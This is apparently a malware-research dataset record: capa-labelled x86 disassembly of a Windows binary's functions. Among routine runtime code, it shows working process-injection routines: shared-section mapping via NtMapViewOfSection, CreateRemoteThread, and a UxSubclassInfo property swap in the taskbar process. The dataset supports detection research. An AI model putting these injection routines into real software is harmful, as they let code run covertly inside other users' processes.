joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407970
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x47a0b8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, ecx
xor esi, esi
push edi
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x208], eax
push ecx
push eax
mov dword [ebp - 0x210], esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov edi, eax
test edi, edi
je 0x407ad9
push ebx
push 4
push 0x1000
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x407ac6
push ebx
push edi
push esi
push dword [ebp - 0x208]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x407ab8
lea eax, [ebp - 0x208]
mov dword [ebp - 0x20c], esi
push eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x208], esi
push eax
push str.VarFileInfoTranslation
push ebx
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x407ab8
cmp dword [ebp - 0x208], 4
jne 0x407ab8
mov eax, dword [ebp - 0x20c]
push 0x200
push esi
mov eax, dword [eax]
mov dword [ebp - 0x214], eax
lea eax, [ebp - 0x204]
push eax
call fcn.004378c0
add esp, 0xc
xor edi, edi
nop
test esi, esi
jne 0x407ab8
push dword [edi + 0x4705c0]
mov ecx, dword [ebp - 0x214]
mov eax, ecx
shr eax, 0x10
push eax
movzx eax, cx
push eax
push str.StringFileInfo_04x_04x_s
lea eax, [ebp - 0x204]
push 0x100
push eax
call fcn.00401180
add esp, 0x18
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x204]
push eax
push ebx
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x407ab0
push 0x46efec
push dword [ebp - 0x20c]
call fcn.00436da6
add esp, 8
test eax, eax
mov eax, 1
cmovne esi, eax
add edi, 4
cmp edi, 0x30
jb 0x407a40
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop ebx
pop edi
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004356fe
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.004356fe
mov esp, ebp
pop ebp
ret
Function at 0x408700
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x1000
mov edi, edx
mov esi, ecx
call fcn.00435da6
push 0x4703d8
push esi
mov ebx, eax
call fcn.0044036c
add esp, 0xc
mov esi, eax
push 0
push 2
push 2
push 0
push 1
push 0x10000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
push esi
push 0x1000
push 1
push ebx
mov edi, eax
call fcn.004421a8
add esp, 0x10
test eax, eax
je 0x408778
push 0
lea ecx, [ebp - 4]
push ecx
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
push 0x1000
push 1
push ebx
call fcn.004421a8
add esp, 0x10
test eax, eax
jne 0x408754
push esi
call fcn.004404fa
add esp, 4
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
call fcn.0043570c
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c540
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45ed50
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x47a0b8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00435b17
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.0041f8bd
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40e430
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x47a0b8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov ebx, ecx
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x40e499
mov esi, dword [sym.imp.KERNEL32.DLL_Process32NextW]
lea eax, [ebp - 0x20c]
push eax
push dword [ebx]
call fcn.0043fd90
add esp, 8
test eax, eax
je 0x40e4ac
lea eax, [ebp - 0x230]
push eax
push edi
call esi
test eax, eax
jne 0x40e476
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004356fe
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x228]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004356fe
mov esp, ebp
pop ebp
ret
Function at 0x413fe0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45f4ad
mov eax, dword fs:[0]
push eax
sub esp, 0x64
push esi
push edi
mov eax, dword [0x47a0b8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.DLL_OpenProcess]
push esi
push 0
push 0x1fffff
call edi
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x3c], esi
call fcn.00413820
push 0x21
call dword [sym.imp.KERNEL32.DLL_Sleep]
push dword [ebp - 0x3c]
push 0
push 0x1fffff
call edi
mov edi, eax
test edi, edi
je 0x4140dc
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
xor esi, esi
cmp dword [ebp - 0x64], esi
jbe 0x4140d5
push 0x1c
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x14], 0
push eax
xorps xmm0, xmm0
push esi
push edi
movups xmmword [ebp - 0x2c], xmm0
movq qword [ebp - 0x1c], xmm0
call dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
cmp dword [ebp - 0x1c], 0x1000
jne 0x4140c2
cmp dword [ebp - 0x14], 0x20000
jne 0x4140c2
cmp dword [ebp - 0x18], 4
jne 0x4140c2
push dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x4c]
push dword [ebp - 0x2c]
push eax
call fcn.00413ea0
test eax, eax
jne 0x4140d5
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
add eax, ecx
cmp eax, esi
jbe 0x4140d5
mov esi, eax
cmp eax, dword [ebp - 0x64]
jb 0x414073
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [ebp - 0x48]
test esi, esi
je 0x414131
mov edx, dword [ebp - 0x44]
push ecx
mov ecx, esi
call fcn.0040d3e0
mov ecx, dword [ebp - 0x40]
mov eax, 0x2aaaaaab
sub ecx, esi
add esp, 4
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x414127
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414146
push ecx
push esi
call fcn.00435d98
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.0044118c
int3
Function at 0x4149c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push str.NtMapViewOfSection
push 0x470c98
mov edi, ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0
push dword [edi + 8]
mov dword [0x47d784], eax
push 0
push 0x40
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
push 0
push 0
push 0
mov esi, eax
push 0xf001f
push esi
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
push dword [edi + 8]
mov ebx, eax
push dword [edi + 4]
push ebx
call fcn.00437330
add esp, 0xc
push dword [ebp + 8]
push 0
push 0xa
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push 0x40
push 0
push 2
lea ecx, [ebp - 8]
mov dword [ebp + 8], eax
push ecx
push 0
push dword [edi + 8]
lea ecx, [ebp - 4]
push 0
push ecx
push eax
push esi
call dword [0x47d784]
push 0x18
call fcn.00442745
mov ecx, eax
add esp, 0x2c
test ecx, ecx
jne 0x414a73
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 8]
pop edi
mov dword [ecx], eax
mov eax, dword [ebp - 4]
pop esi
mov dword [ecx + 8], ebx
mov dword [ecx + 0xc], eax
mov eax, ecx
mov dword [ecx + 4], 0
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x414aa0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
mov esi, ecx
push dword [ebp + 8]
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
call dword [eax]
mov ecx, eax
test ecx, ecx
jne 0x414ac0
xor al, al
pop esi
pop ebp
ret 8
mov eax, dword [esi + 8]
test eax, eax
jne 0x414acd
mov eax, dword [ecx + 0xc]
mov dword [esi + 8], eax
push 0
push 0
push dword [ecx + 8]
push eax
push 0
push 0
push dword [ecx]
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
test eax, eax
pop esi
sete al
pop ebp
ret 8
Function at 0x419840
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x47a0b8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push str.Shell_TrayWnd
mov ebx, ecx
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x419971
lea eax, [ebp - 0x58]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x12f
push esi
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
call esi
test eax, eax
je 0x41998c
push 0x5e0
push eax
call esi
mov edi, eax
test edi, edi
je 0x4199a7
push dword [ebp - 0x58]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
je 0x4199c2
mov ecx, dword [ebx + 4]
push 0
push esi
mov eax, dword [ecx]
call dword [eax]
push 4
push 0x3000
push 0x50
mov eax, dword [eax + 8]
push 0
push esi
mov dword [ebp - 0x5c], eax
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x4199dd
push str.UxSubclassInfo
push edi
call dword [sym.imp.USER32.dll_GetPropA]
push 0
push 0x50
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x60], eax
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
test eax, eax
je 0x4199f8
mov eax, dword [ebp - 0x5c]
push 0
push 0x50
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x54]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x419a13
mov esi, dword [sym.imp.USER32.dll_SetPropA]
push ebx
push str.UxSubclassInfo
push edi
call esi
push 0
push 0x61
push 0x100
push edi
call dword [sym.imp.USER32.dll_PostMessageW]
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
push dword [ebp - 0x60]
push str.UxSubclassInfo
push edi
call esi
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004356fe
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.FindWindow_failed__error:_0x_08x_n
call fcn.004137f0
add esp, 8
push 0
call fcn.00442c6b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.GetDlgItem_1__failed__error:_0x_08x_n
call fcn.004137f0
add esp, 8
push 0
call fcn.00442c6b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.GetDlgItem_1__failed__error:_0x_08x_n
call fcn.004137f0
add esp, 8
push 0
call fcn.00442c6b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.OpenProcess_failed__error:_0x_08x_n
call fcn.004137f0
add esp, 8
push 0
call fcn.00442c6b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.VirtualAllocEx_2__failed__error:_0x_08x_n
call fcn.004137f0
add esp, 8
push 0
call fcn.00442c6b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.ReadProcessMemory_failed__error:_0x_08x_n
call fcn.004137f0
add esp, 8
push 0
call fcn.00442c6b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.WriteProcessMemory_2__failed__error:_0x_08x_n
call fcn.004137f0
add esp, 8
push 0
call fcn.00442c6b
int3
Function at 0x41a090
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movzx eax, word [0x470d5c]
mov word [ebp - 0x10], ax
mov al, byte [0x470d5e]
push ebx
mov ebx, dword [str.World]
mov byte [ebp - 0xe], al
movzx eax, word [0x470d64]
push esi
push edi
mov edi, dword [str.Hello_]
mov word [ebp - 0x20], ax
xor eax, eax
push 0x46
mov dword [ebp - 0xc], 0x44444444
mov dword [ebp - 8], 0x44444444
mov byte [ebp - 0xd], 0
mov dword [ebp - 0x1c], 0x55555555
mov dword [ebp - 0x18], 0x55555555
mov dword [ebp - 4], ebx
mov word [ebp - 0x1e], ax
mov dword [ebp - 0x2c], 0x33333333
mov dword [ebp - 0x28], 0x33333333
call fcn.00442745
mov esi, eax
add esp, 4
test esi, esi
jne 0x41a111
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movups xmm0, xmmword [0x471618]
mov eax, dword [0x471658]
mov edx, 0x46
mov ecx, esi
movups xmmword [esi], xmm0
movups xmm0, xmmword [0x471628]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [0x471638]
movups xmmword [esi + 0x20], xmm0
movups xmm0, xmmword [0x471648]
movups xmmword [esi + 0x30], xmm0
mov dword [esi + 0x40], eax
mov ax, word [0x47165c]
mov word [esi + 0x44], ax
mov eax, dword [ecx]
lea ebx, [ebp - 0xc]
cmp eax, dword [ebx]
mov ebx, dword [ebp - 4]
jne 0x41a16f
mov eax, dword [ecx + 4]
lea ebx, [ebp - 0xc]
cmp eax, dword [ebx + 4]
mov ebx, dword [ebp - 4]
je 0x41a178
dec edx
inc ecx
cmp edx, 8
jae 0x41a155
xor ecx, ecx
mov eax, dword [ebp - 0x10]
mov edx, 0x46
mov dword [ecx], edi
mov dword [ecx + 4], eax
mov ecx, esi
mov eax, dword [ecx]
lea edi, [ebp - 0x1c]
cmp eax, dword [edi]
jne 0x41a198
mov eax, dword [ecx + 4]
cmp eax, dword [edi + 4]
je 0x41a1a1
dec edx
inc ecx
cmp edx, 8
jae 0x41a187
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov edx, 0x46
mov dword [ecx], ebx
mov dword [ecx + 4], eax
mov ecx, esi
mov eax, dword [ecx]
lea edi, [ebp - 0x2c]
cmp eax, dword [edi]
jne 0x41a1c1
mov eax, dword [ecx + 4]
cmp eax, dword [edi + 4]
je 0x41a1ca
dec edx
inc ecx
cmp edx, 8
jae 0x41a1b0
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov edx, dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov dword [ecx + 4], eax
mov eax, esi
pop esi
mov dword [ecx], edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4350ba
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.0044322e
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x4350f9
sub eax, 1
je 0x4350f4
sub eax, 1
je 0x4350f0
xor eax, eax
leave
ret
push 3
jmp 0x4350fb
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret

Function at 0x4365f9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x436638
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x436638
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x436638
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x436638
cmp dword [ecx + 0x74], 0xe
jbe 0x436638
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x450298
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4671f8
push 0x4671f0
push str.FlsAlloc
push 0x1f
call fcn.00450103
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4502cc
push dword [ebp + 8]
mov ecx, esi
call dword [0x462360]
call esi
jmp 0x4502d2
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x450316
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x467208
push 0x467200
push str.FlsGetValue
push 0x21
call fcn.00450103
mov esi, eax
add esp, 0x10
test esi, esi
je 0x45034d
push dword [ebp + 8]
mov ecx, esi
call dword [0x462360]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.DLL_TlsGetValue]

Function at 0x450355
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x467210
push 0x467208
push str.FlsSetValue
push 0x22
call fcn.00450103
mov esi, eax
add esp, 0x10
test esi, esi
je 0x45038f
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x462360]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.DLL_TlsSetValue]
Function at 0x450b30
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00436870
mov eax, dword [0x47a0b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0044bbc2
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x450b72
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x450cce
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0045dcc0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47d280]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0045196f
mov ecx, dword [esi*4 + 0x47d280]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x450cc7
cmp eax, dword [ecx + edi + 0x24]
jne 0x450cc7
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x450cc7
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0045196f
add esp, 0x14
test edx, edx
jl 0x450cc7
jg 0x450c3d
test eax, eax
jb 0x450cc7
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x450cc7
jl 0x450c57
cmp dword [ebp - 0x1008], eax
ja 0x450cc7
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x450c75
test ebx, ebx
je 0x450cae
cmp ecx, edi
jae 0x450cae
mov al, byte [ecx]
cmp al, 0xd
jne 0x450c8f
lea eax, [edi - 1]
cmp ecx, eax
jae 0x450c9b
cmp byte [ecx + 1], 0xa
jne 0x450c9b
inc ecx
jmp 0x450c9b
movzx eax, al
movsx eax, byte [eax + 0x47a338]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x450c75
cmp edx, ebx
jne 0x450c75
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x450ccc
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004356fe
leave
ret
Function at 0x450e07
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47d280]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x450e47
cmp byte [ebx], 0xa
jne 0x450e47
or byte [edi + eax + 0x28], 4
jmp 0x450e4c
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x450f4b
mov dl, byte [eax]
cmp dl, 0x1a
je 0x450f2e
inc eax
cmp dl, 0xd
je 0x450e78
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x450e9e
cmp eax, ecx
jae 0x450eac
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x450e60
jmp 0x450f4b
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x450f29
cmp dword [ebp - 0x10], 0
je 0x450f29
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x47d280]
test byte [eax + edi + 0x28], 0x48
je 0x450f03
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x450eee
mov byte [esi], dl
jmp 0x450eff
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47d280]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x450f4b
cmp byte [ebp - 1], 0xa
jne 0x450f12
cmp esi, ebx
jne 0x450f12
mov byte [esi], 0xa
jmp 0x450f4a
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0045198d
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x450f4b
mov byte [esi], 0xd
jmp 0x450f4a
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x47d280]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x450f48
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x450f4b
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x450f54
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x47d280]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x450f9a
cmp word [ebx], dx
jne 0x450f9a
or byte [eax + edi + 0x28], 4
jmp 0x450f9f
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x451102
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x4510e2
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x450fe0
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x451016
cmp eax, edx
jae 0x451024
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x450fbb
jmp 0x451102
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x4510dd
cmp dword [ebp - 0x18], 0
je 0x4510dd
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x47d280]
test byte [eax + edi + 0x28], 0x48
je 0x4510b3
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x451077
mov word [esi], cx
jmp 0x4510ae
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x47d280]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x47d280]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x47d280]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x451102
pop eax
cmp word [ebp - 4], ax
jne 0x4510c3
cmp esi, ebx
jne 0x4510c3
mov word [esi], ax
jmp 0x4510ff
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0045198d
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x451102
push 0xd
pop eax
jmp 0x4510be
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x47d280]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x4510fc
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x451102
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret